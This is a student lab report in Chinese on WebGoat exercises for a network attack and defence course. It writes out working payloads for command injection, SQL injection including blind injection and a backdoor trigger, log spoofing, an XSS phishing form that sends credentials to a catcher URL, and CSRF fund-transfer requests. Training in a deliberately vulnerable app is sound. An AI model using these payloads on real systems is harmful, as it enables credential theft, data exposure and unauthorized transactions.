20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

《网络对抗技术》Exp9 Web安全基础 Week13

1、实验目标与内容

  • 1.实践内容html

    • (1).本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
  • 2.一些问题java

    • (1)SQL注入攻击原理,如何防护
    • 答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行,可能实现对后台数据库进行各类操做,甚至形成破坏后台数据库等严重后果。防护手段:不容许提交含有特殊字符的字符串,加密数据库中的内容等。git

    • (2)XSS攻击的原理,如何防护
    • 答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防护手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。github

    • (3)CSRF攻击的原理,如何防护
    • 答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。对于每个重要的post提交页面,都使用一个验证码。每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定为CSRF攻击。按期清理cookie,甚至不使用cookieweb

2、实验步骤

安装WebGoat

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。sql

  • 一、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat-container-7.0.1-war-exec.jar,放到kali中。数据库

  • 二、在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,等待一小会后出现以下提示则运行成功。
    后端

  • 三、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面
    浏览器

  • 四、使用页面下端任意一个帐号密码进行登陆,能够看到以下页面:
    安全

  • 五、接下来就是在左侧选择各类选项进行相应的测试。

各类注入漏洞(Injection Flaws)

一、Command Injection(命令注入)

  • 简介:命令注入就是经过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到必定的目的。

  • (1)首先能够看到页面中有一个复选框,里面有不少选项,它们都是合法的

  • (2)咱们要作的是经过修改源代码,在其中一个选项的后面添加一些指令,经过选择修改后的选项,点击view达到效果。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。

  • (4)在复选框中选择该项,点击view,发现添加的命令被成功执行,攻击成功。

二、Numeric SQL Injection(数字型注入)

  • 简介:经过在要提交的文本框中加入一些其余的逻辑条件,来在没有权限的状况下绕过权限的限制,获得更多的东西。

  • (1)首先在页面中咱们能够看到这只是一个简单的天气查询,在复选框中选择一个城市,点击go后能够查看所选择的城市的天气。这里复选框中只有四个选项

  • (2)咱们能够猜想,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,而后输出天气。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"进行修改,在后面添加or 1=1

  • (4)选择该城市,点击go。发现全部城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功

三、Log Spoofing(日志欺骗)

  • 简介:在进行web攻击后,每每会在日志文件中留下本身的攻击痕迹。经过日志欺骗,能够伪造日志,消除或掩盖本身的攻击痕迹。

  • (1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登陆,能够看到以下信息。

  • (2)这样看起来就好像是有一个帐号admin登陆了网页。但其实这是假的。攻击者能够利用这种方式向日志文件中添加恶意脚本。好比在用户名输入admin <script>alert(document.cookie)</script>并提交,那么管理员页面就会弹出一个cookies信息。

四、LAB: SQL Injection

  • 这里有4个步骤,可是Stage 2和Stage 4仅适用于WebGoat的开发版本

  • Stage 1: 字符串型注入

    • 目标是绕过登陆。

    • (1)首先尝试选择管理员身份,密码输入' or '1' = '1。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1占13个长度,而密码框限制了输入长度为8

    • (2)根据上面的经验能够判断出须要修改页面源代码。

    • (3)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,修改密码框的长度为13。

    • (4)再次在密码框输入' or '1' = '1,发现这回没有被限制。点击登陆后弹出以下提示,攻击成功

  • Stage 3: 数字型 SQL 注入

    • 目标:使用员工Larry的身份,查看老板Neville的信息。

    • (1)先使用Stage 1的方法,绕过登陆,查看Larry的信息。

    • (2)右键点击页面,选择inspect Element查看页面源代码,找到选项框中的信息Larry Stooge所在的代码位置。

    • (3)相关人员信息就是经过value中的值进行搜索的。一般来讲老板的工资是最高的,工资字段通常都是salary,因此修改value为101 or 1=1 order by salary desc,点击ViewProfile,发现获得老板的信息,攻击成功。

五、String SQL Injection(字符串注入)

  • (1)这个网站能够查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入类似。

  • (2)在用户名框输入' or 1=1--,点击go,得到全部用户的信用卡号码

六、Database Backdoors(数据库后门)

  • (1)目标:建立一个数据库后门。尝试在输入查询id的同时注入命令增长工资。

  • (2)什么是数据库后门?数据库一般做为一个 Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。 它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操做,如增删改查。好比:攻击者能够建立一个触发器, 使得建立新用户时将每一个新用户的工资增长10000。

  • (3)这个网站的做用是输入用户id,返回用户相应信息。输入`101进行搜索,能够看到如今的工资是55000

  • (4)输入101; update employee set salary=66666修改工资为66666。

  • (3)输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid,完成攻击。

  • 注:CREATE TRIGGER myBackDoor是建立一个后门。BEFORE是在....以前。这条语句是在插入新的数据以前把新员工的工资项加10000后再放入数据库。

七、Blind Numeric SQL Injection(数字型盲注)

  • 简介:通常来讲, SQL 注入是没有明确返回信息的,这时候的注入就叫作盲注。

  • 目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。

  • (1)该网站容许输入一个账号,并检测该账号是否合法。若是合法(存在),则提示有效,不然提示无效。好比:

  • (2)这里咱们能够利用AND。这样一来当AND两边恒为真时,才会提示有效,不然提示无效。

  • (3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )。发现无效,说明≤5000。

  • (4)接下来经过不断地折半查找,获得pin为2364

八、Blind String SQL Injection(字符型盲注)

  • 目标:与7类似,不过这里的pin字段变成varchar。

  • (1)一样的,利用AND。首先输入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)测试一下pin的长度。显示

  • (2)继续进行尝试,发现长度是4。

  • (3)接着输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )来不断对第n个字母进行确认。这里过程琐碎就再也不列出。最后获得pin字段是Jill

跨站脚本攻击(XSS)

一、Phishing with XSS(使用 XSS 钓鱼)

  • 简介:原理:当用户输入非法 HTTP 响应时容易形成 XSS,jsp代码被执行。

  • (1)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • (2)搜索这段代码,出现以下界面

  • (3)输入任意,点击提交

二、Stored XSS Attacks(存储型XSS攻击)

  • 简介:常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • (1)在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script>,提交。

  • (2)提交后能够看见在下方出现了一个以title命名的连接,点击后执行刚刚的html语句,攻击成功

三、Reflected XSS Attacks(反射型XSS攻击)

  • 简介:攻击者使用攻击脚本建立一个URL,其访问另外一个网站,经过各类方式来让受害者点击它。

  • (1)直接输入<script>alert("You've been attacked!!!");</script>,点击purse便可。

四、Cross Site Request Forgery (CSRF)(跨站请求伪造)

  • (1)简介:让受害者加载一个包含网页的图片的一种攻击手段。

跨站点请求伪造(csrf/xsrf)是一种攻击,诱骗受害者加载包含img连接的页面,以下所示: 当受害者的浏览器试图呈现加载某个“图片”(实际上包含了对其余网站的请求)时,它将向www.mybank.com发出一个带有指定参数的TransferFunds.do页面请求。浏览器会认为连接是为了获取图像,即便它其实是一个资金转移功能。该请求将包括与站点关联的全部cookie。所以,若是用户已经对站点进行了身份验证,而且拥有永久cookie,甚至当前会话cookie,那么站点将没法将其与合法的用户请求区分开来。经过这种方式,攻击者可让受害者执行他们不打算执行的操做,例如注销、购买物品或脆弱网站提供的任何其余功能。

  • (2)右侧Parameters中的src和menu值,分别为282和900

  • (3)标题任意,内容输入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />,而后提交。

  • (4)能够看到下方出现一个链接,能够点。点击后触发CSRF事件,攻击成功

五、CSRF Prompt By‐Pass(绕过 CSRF 确认)

  • (1)实现跨站请求伪造攻击(CSRF),包括经过多个请求绕过用户确认脚本命令

  • (2)与CSRF课程相似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您能够从右边的插图中复制课程的参数,建立格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。不管谁收到这封电子邮件,而且碰巧在那个时候经过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面。

  • (3)在title框中任意输入,message框中输入代码:<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>

3、遇到的问题

  • 一、启动WebGoat并登陆后左侧没有相应栏。
  • 解决方法:发现是由于jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8

4、心得体会

  • 经过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感受虽然没有学得很深刻,可是很好地拓宽了知识面。
相关文章
相关标签/搜索